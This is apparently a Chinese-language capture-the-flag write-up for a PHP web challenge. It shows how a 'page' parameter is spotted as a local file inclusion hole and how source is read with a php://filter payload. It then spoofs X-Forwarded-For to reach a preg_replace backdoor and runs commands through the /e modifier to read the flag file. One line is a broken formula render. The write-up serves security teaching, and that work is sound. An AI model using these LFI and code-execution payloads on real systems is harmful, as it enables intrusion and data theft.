全部点一遍只能进入维修中心界面,并再次点击维修中心地址栏
http://220.249.52.133:44508/index.php?page=index
LFI漏洞的黑盒判断方法:
单纯的从URL判断的话,URL中path、dir、file、pag、page、archive、p、eng、语言文件等相关关键字眼的时候,可能存在文件包含漏洞。
这里出现了page这个参数,可以联想到文件包含漏洞LFI
参考:代码块漏洞总结
其中利用本地包含读取PHP敏感性文件,需要PHP5以上版本。
?page=php://filter/read=convert.base64-encode/resource=index.php
//方便的实现输入输出的功能,正在开发中的功能,只能内部人员测试
if ($_SERVER['HTTP_X_FORWARDED_FOR'] === '127.0.0.1') {
echo "<br >Welcome My Admin ! <br >";
$pattern = $_GET[pat];
$replacement = $_GET[rep];
$subject = $_GET[sub];
if (isset($pattern) && isset($replacement) && isset($subject)) {
preg_replace($pattern, $replacement, $subject);
}else{
die();
}
}
PHP preg_replace() 函数
mixed preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int KaTeX parse error: Expected 'EOF', got '&' at position 19: …it = -1 [, int &̲count ]] )
搜索 subject 中匹配 pattern 的部分, 以 replacement 进行替换。
- 参数说明:
$pattern: 要搜索的模式,可以是字符串或一个字符串数组。
$replacement: 用于替换的字符串或字符串数组。
$subject: 要搜索替换的目标字符串或字符串数组。 - 返回值
如果 subject 是一个数组, preg_replace() 返回一个数组, 其他情况下返回一个字符串。
如果匹配被查找到,替换后的 subject 被返回,其他情况下 返回没有改变的 subject。如果发生错误,返回 NULL。 - preg_replace()存在/e 模式下的代码执行问题
参考:Preg_Replace代码执行漏洞解析
在/e模式下,第二个参数会被当成代码执行
故构造payload并构造ip为127.0.0.1:
?pat=/test/e&rep=system('ls')&sub=test
得到疑似flag所在位置
现在得到flag.php的位置
/index.php?pat=/test/e&rep=system('cat s3chahahaDir/flag/flag.php')&sub=test
文件位置:s3chahahaDir/flag/flag.php
得到flag